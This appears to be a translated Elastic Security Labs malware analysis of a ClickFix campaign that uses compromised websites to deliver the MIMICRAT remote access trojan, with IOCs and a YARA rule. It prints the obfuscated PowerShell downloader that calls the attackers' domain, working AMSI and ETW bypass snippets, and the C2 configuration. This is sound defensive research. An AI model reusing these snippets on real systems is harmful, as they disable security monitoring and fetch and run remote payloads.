简介
在最近的一次调查中,Elastic Security Labs 发现了一个活跃的 ClickFix 活动,该活动破坏了多个合法网站,从而传播多级恶意软件链。与以商品信息窃取器为终点的简单 ClickFix 部署不同,这次行动以我们称之为MIMICRAT的功能强大的定制远程访问木马 (RAT) 为终点:这是一个本地 C 植入程序,具有可扩展的 C2 配置文件、令牌冒充、SOCKS5 隧道和 22 个命令调度表。
该活动显示出高度的操作复杂性:被入侵的网站横跨多个行业和地区,作为交付基础设施,多级 PowerShell 链在投放 Lua 脚本 shellcode 加载器之前执行 ETW 和 AMSI 旁路,最终植入程序使用类似合法网络分析流量的 HTTP 配置文件通过 HTTPS 在 443 端口进行通信。
关键要点
- 多个合法网站被入侵,形成了一个五级攻击链。
- Lua 加载器会执行嵌入的 shellcode。
- MIMICRAT是一款定制的本地 C++ RAT,具有可扩展的 C2 配置文件、Windows 令牌窃取和 SOCKS5 代理功能。
发现
Elastic Security Labs 在 2 月初首次发现了这一活动, 2026 ,通过端点遥测发现了使用混淆命令行参数的可疑 PowerShell 执行。
鉴于最终有效载荷的新颖性, 我们 于 2 月 11 日 通过社交媒体公开披露了初步指标 , 2026 ,以确保更广泛的安全社区能够在我们进行全面分析的同时,开始寻找和防御这一威胁。截至本刊发稿时,该活动仍在进行中。
Huntress 的研究人员记录了使用类似基础设施和技术的相关 ClickFix 活动,表明该威胁行为者在多个并行活动中的行动范围之广。
活动交付
该活动的传播完全依赖于破坏合法、可信的网站,而不是攻击者拥有的基础设施。受害者的入口是 bincheck[.]io、合法的银行识别码 (BIN) 验证服务。威胁行为者入侵了该网站,并注入了一个恶意 JavaScript 代码段,该代码段动态加载了托管在https://www.investonline[.]in/js/jq.php 的外部脚本,这是第二个被入侵的网站,一个合法的印度共同基金投资平台(Abchlor Investments Pvt. Ltd.)。外部脚本被命名为假冒 jQuery 库,与页面现有的资源负载融为一体。
正是这个远程加载的脚本 (jq.php) 提供了 ClickFix 的诱惑:一个虚假的 Cloudflare 验证页面指示受害者手动粘贴并执行命令,以"修复" 的问题。诱饵会将恶意 PowerShell 命令直接复制到受害者的剪贴板,并提示他们打开运行对话框 (Win+R) 或 PowerShell 提示并粘贴。这种技术完全绕过了基于浏览器的下载保护,因为不会下载任何文件。
这种多维破坏依赖于面向受害者的网站从第二个被破坏的网站加载恶意脚本,分散了检测风险,增加了用户和自动安全工具对诱惑合法性的感知。该活动支持 17 种语言,诱骗内容根据受害者的浏览器语言设置进行动态本地化,以扩大其有效覆盖范围。已确认的受害者跨越多个地域,包括一所位于美国的大学和公共论坛讨论中记录的多个讲中文的用户,这表明了广泛的机会主义目标。
以下是 ClickFix 支持的语言列表:
- 英语
- 中文
- 俄语
- 西班牙语
- 法语
- German
- 葡萄牙语
- 日语
- 韩语
- 意大利语
- 土耳其语
- 波兰语
- 荷兰语
- 越南语
- 阿拉伯语
- 北印度语
- 印尼语
代码分析
一旦受害者执行了剪贴板命令,该活动就会在五个不同的阶段展开:经过混淆的 PowerShell 下载器会与 C2 取得联系,检索第二阶段脚本,该脚本会在投放基于 Lua 的加载器之前修补 Windows 事件日志(ETW)和防病毒扫描(AMSI);加载器会解密并完全在内存中执行 shellcode;而 shellcode 最终会投放MIMICRAT,这是一种专为持久访问和横向移动而设计的功能强大的 RAT。
阶段 1 Powershell 单行命令
剪贴板发送的命令是经过混淆处理的简洁 PowerShell 单行程序:
powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk
该命令在单个种子字符串 (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf) 上使用字符串切片和算术索引运算,在运行时重建目标域和调用机制,避免在初始有效负载中使用 C2 域或 PowerShell cmdlet 名称的明文表示。窗口最小化 (-WInDo Min)。提取的域为xMRi.neTwOrk ,解析为45.13.212.250 ,并下载第二阶段 PowerShell 脚本。
通过 VirusTotal 关系对45.13.212.250 进行基础架构透视后发现了第二个域名WexMrI.CC ,解析到相同的 IP。这两个域共享相同的混合大小写格式混淆模式。
阶段 2 经过混淆处理的 Powershell 脚本
下载的第二阶段 PowerShell 脚本要详细得多。所有字符串都是在运行时通过将算术表达式解析为 ASCII 字符来构建的:
$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"
这种技术使脚本对静态分析和基于签名的检测不透明,但在运行时仍能完全正常运行。脚本中包含一个虚拟类声明作为诱饵,并
脚本会执行四个连续的操作:
ETW 旁路
脚本通过反射访问了System.Diagnostics.Eventing.EventProvider 类的内部m_enabled 字段,并将其值修补为0 ,从而有效地禁用了 Windows 的事件跟踪功能,并屏蔽了 PowerShell 脚本块日志记录。
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
AMSI 绕过
然后,脚本使用反射访问System.Management.Automation.AmsiUtils ,并将amsiInitFailed 字段设置为$true ,从而使 PowerShell 在会话的剩余时间内跳过所有 AMSI 内容扫描。
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
AMSI - 内存修补
该脚本通过Marshal.Copy 执行运行时方法句柄修补,在另一个不太常见的防御规避步骤中覆盖内存中的方法指针,从而将执行重定向到远离受监控的代码路径。这将ScanContent 下的函数System.Management.Automation.AmsiUtils 锁定为一个空的生成方法。
$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"
[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
0,
[long]$ScanContent_func.MethodHandle.Value + [long]8,
1
)
有效载荷交付
在禁用事件记录和 AV 扫描的情况下,脚本会解码一个 base64 编码的 ZIP 压缩包,将其解压缩到%ProgramData%/knz_{random} 下的一个随机命名的目录中,并执行其中包含的二进制文件zbuild.exe 。执行后会清理临时工件。
$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
阶段 3 Lua 加载器
掉落的二进制文件是一个自定义的 Lua 5.4.7 加载器。它静态嵌入了一个 Lua 解释器。
二进制文件在运行时使用 XOR 存根解密嵌入式 Lua 脚本,然后执行它。XOR 解密例程 (fxh::utility::lua_script_xor_decrypt) 遍历加密缓冲区,将每个字节与密钥进行 XOR 运算。
该 Lua 脚本使用非标准字母表实现了自定义 Base64 解码器,以解码嵌入式 shellcode。然后通过luaalloc 将解码后的 shellcode 分配到可执行内存中,再通过luacpy 复制到内存中,最后通过luaexe 执行,从而实现完全在内存中无文件执行 shellcode。
阶段 4 shellcode
外壳代码与 Meterpreter 相关签名相匹配,表明外壳代码阶段是与 Meterpreter 代码家族一致的加载器,可将MIMICRAT反映加载到内存中。
阶段 5 MIMICRAT
编译元数据设置为 29 2026 年 1 月的最终有效载荷是使用 Microsoft Visual Studio 链接器 14.44 版编译的本地 MSVC x64 PE。它与任何已知的开源 C2 框架都不完全匹配,而是通过基于 ASCII 字符的命令调度和自定义架构,实施自己的可延展 HTTP C2 配置文件。
C2 配置和通信
MIMICRAT 的配置存储在.data 部分。它包含加密密钥、连接参数和两个完整的 HTTP 通信配置文件。所有标头字符串和 URI 均采用 ASCII 十六进制编码,并在运行时解码。
C2 通过 HTTPS 在 443 端口运行,回调间隔为 10 秒。C2 服务器主机名 (d15mawx0xveem1.cloudfront.net) 使用以下 RC4 密钥@z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5 进行 RC4 加密。
植入系统使用 HTTPS 进行通信,并采用分层加密方案:嵌入式 RSA-1024 公钥处理非对称会话密钥交换。
AES 用于 C2 通信的对称加密,它使用硬编码的 IVabcdefghijklmnop 和运行时计算的密钥,后者来自随机生成的字母数字值的 SHA-256 散列值。9ZQs0p0gfpOj3Y02.
以下是样本用于 POST 和 GET 请求的配置文件:
HTTP GET 配置文件:签到和任务分配
| 组件 | 值 |
|---|---|
| URI | /intake/organizations/events?channel=app |
| 用户代理 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045 |
| 推荐人 | [https://www.google.com/?q=dj1](https://www.google.com/?q=dj1) |
| 接受语言 | zh-CN,zh;q=0.9 |
| cookie | AFUAK,BLA 、HFK |
HTTP POST 配置文件:数据渗透
| 组件 | 值 |
|---|---|
| URI | /discover/pcversion/metrics?clientver=ds |
| 推荐人 | [https://gsov.google.com/](https://gsov.google.com/) |
| cookie | ARCHUID,BRCHD 、ZRCHUSR |
指挥调度
MIMICRAT总共实现了 22 种不同的命令,可提供进程和文件系统控制、交互式 shell 访问、令牌操作、shellcode 注入和 SOCKS 代理隧道等后开发功能。信标间隔和抖动可由操作员在运行时通过专用命令进行配置。以下是所有已执行命令的汇总表:
| 指令 ID | 函数 | 描述 |
|---|---|---|
| 3 | 退出 | 终止植入过程 |
| 4 | 设置信标间隔 | 配置睡眠时间和抖动 |
| 5 | 更改目录 | 更改当前工作目录 |
| 10 | 写入文件 | 将 C2 提供的有效载荷写入磁盘(覆盖) |
| 11 | 阅读文件 | 从磁盘读取文件并将内容外泄到 C2 |
| 12 | 产卵过程 | 如果有窃取的令牌,则使用该令牌启动进程,否则退回到标准执行状态 |
| 28 | 还原冒名顶替 | 撤销令牌冒充并清除令牌状态 |
| 31 | 窃取令牌 | 按 PID 复制目标进程的安全令牌 |
| 32 | 列出流程 | 根据 PID、PPID、用户、域和架构枚举运行中的进程 |
| 33 | 结束进程 | 按 PID 终止进程 |
| 39 | 获取当前目录 | 将当前工作目录返回 C2 |
| 53 | 文件列表 | 列出带有时间戳和大小的文件和目录 |
| 54 | 创建目录 | 在磁盘上创建一个目录 |
| 55 | 列表驱动器 | 枚举逻辑驱动器 |
| 56 | 删除文件/目录 | 删除文件或目录 |
| 67 | 追加到文件 | 将 C2- 提供的数据添加到现有文件中 |
| 73 | 复制文件 | 将文件从源文件复制到目标文件 |
| 74 | 移动/重命名文件 | 移动或重命名文件 |
| 78 | 交互式外壳 | 通过管道打开持久的交互式 CMD shell |
| 100 | 注入 shellcode | 反射式 shellcode 注入 |
| 101 | 袜子 | 配置或停止 SOCKS 代理通道 |
| 102 | SOCKS 代理 | 与命令 101 共享处理程序;很可能是一个占位符命令 |
基础架构
运动的网络基础设施主要分为两组:
群组 A - 初始有效载荷传送 (45.13.212.251 /45.13.212.250)
多个域指向此 IP 范围,包括xMRi.neTwOrk 和WexMrI.CC 。域名命名使用混合大小写混淆。该基础架构为第二阶段 PowerShell 脚本和嵌入式有效载荷 ZIP 提供服务。
群组 B 开采后 C2 (23.227.202.114)
与www.ndibstersoft[.]com 相关联,并从掉落文件的信标通信中观察到。这代表运营商开采后的 C2 渠道。
CloudFront C2 中继
d15mawx0xveem1.cloudfront[.]net 被确认为MIMICRAT 的 C2 基础设施的一部分。rgen.zip 样本的 VT 关系显示,它使用在MIMICRAT 的 GET 配置文件中识别的相同/intake/organizations/events?channel=app URI 模式与该 CloudFront 域联系,这证明它充当了后端服务器的 C2 中继前台。
交付基础设施
两个被入侵的合法网站构成了传输链:
bincheck.io- 面向受害者的入口点;受损后可加载外部恶意脚本investonline.in- 托管伪装成 jQuery 的 ClickFix JavaScript 有效载荷 (/js/jq.php) ;该脚本会渲染诱饵并发送剪贴板 PowerShell
恶意软件和 MITRE ATT&CK**
Elastic 使用MITRE ATT&CK框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。
战术
策略代表了技术或子技术的原因。 这是对手的战术目标:采取行动的原因。
技术
技术代表对手如何通过采取行动来实现战术目标。
- 网络钓鱼:通过服务进行鱼叉式网络钓鱼(ClickFix 剪贴板)
- 用户执行:恶意链接
- 命令和脚本解释器:PowerShell
- 混淆文件或信息:命令混淆
- 削弱防御:禁用或修改工具(AMSI 旁路)
- 削弱防御:禁用 Windows 事件记录(ETW 修补程序)
- 反射代码加载/内存执行
- 排定的任务/作业
- 访问令牌操纵:令牌冒充/盗窃
- 进程注入
- 流程发现
- 文件和目录发现
- 通过 C2 通道进行泄漏
- 应用层协议:网络协议(HTTPS)
- 代理
缓解措施
检测
在对该入侵集的分析过程中观察到了以下检测规则和行为预防事件:
- 通过经过混淆的 PowerShell 脚本执行
- 对可疑顶级域名的 DNS 查询
- 通过 Windows Run 执行可疑的命令 Shell
- 令牌盗窃和假冒
- 可能通过令牌模拟提升权限
- 从低信誉模块执行 Shellcode
雅拉
Elastic Security 创建了 YARA 规则来识别这种活动。以下是识别 MimicRat 的 YARA 规则:
rule Windows_Trojan_MimicRat {
meta:
author = "Elastic Security"
creation_date = "2026-02-13"
last_modified = "2026-02-13"
os = "Windows"
arch = "x86"
category_type = "Trojan"
family = "MimicRat"
threat_name = "Windows.Trojan.MimicRat"
reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
scan_type = "File, Memory"
severity = 100
strings:
$b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
$b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
condition:
all of them
}
观察结果
所有可观察数据均可通过组合 zip 包以 ECS 和 STIX 格式下载。
本研究讨论了以下可观察的结果。
| 可观测 | 类型 | 名称 | 参考 |
|---|---|---|---|
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1 | SHA-256 | 阶段 1 PowerShell 有效载荷 | |
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51 | SHA-256 | Lua 加载器 | |
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b | SHA-256 | MIMICRAT 信标 | |
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb | SHA-256 | 相关信标样本 | |
45.13.212.251 | IP | 有效载荷运送基础设施 | |
45.13.212.250 | IP | 有效载荷运送基础设施 | |
23.227.202.114 | IP | 开采后 C2 | |
xmri.network | 域 | 阶段 1 C2 / 有效载荷运送 | |
wexmri.cc | 域 | 1 C2候补 | |
www.ndibstersoft[.]com | 域 | 开采后 C2 | |
d15mawx0xveem1.cloudfront[.]net | 域 | 开采后 C2 | |
www.investonline.in/js/jq.php | URL | 恶意 JS 有效载荷主机(受损) | |
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip | URL | 有效载荷交付 |
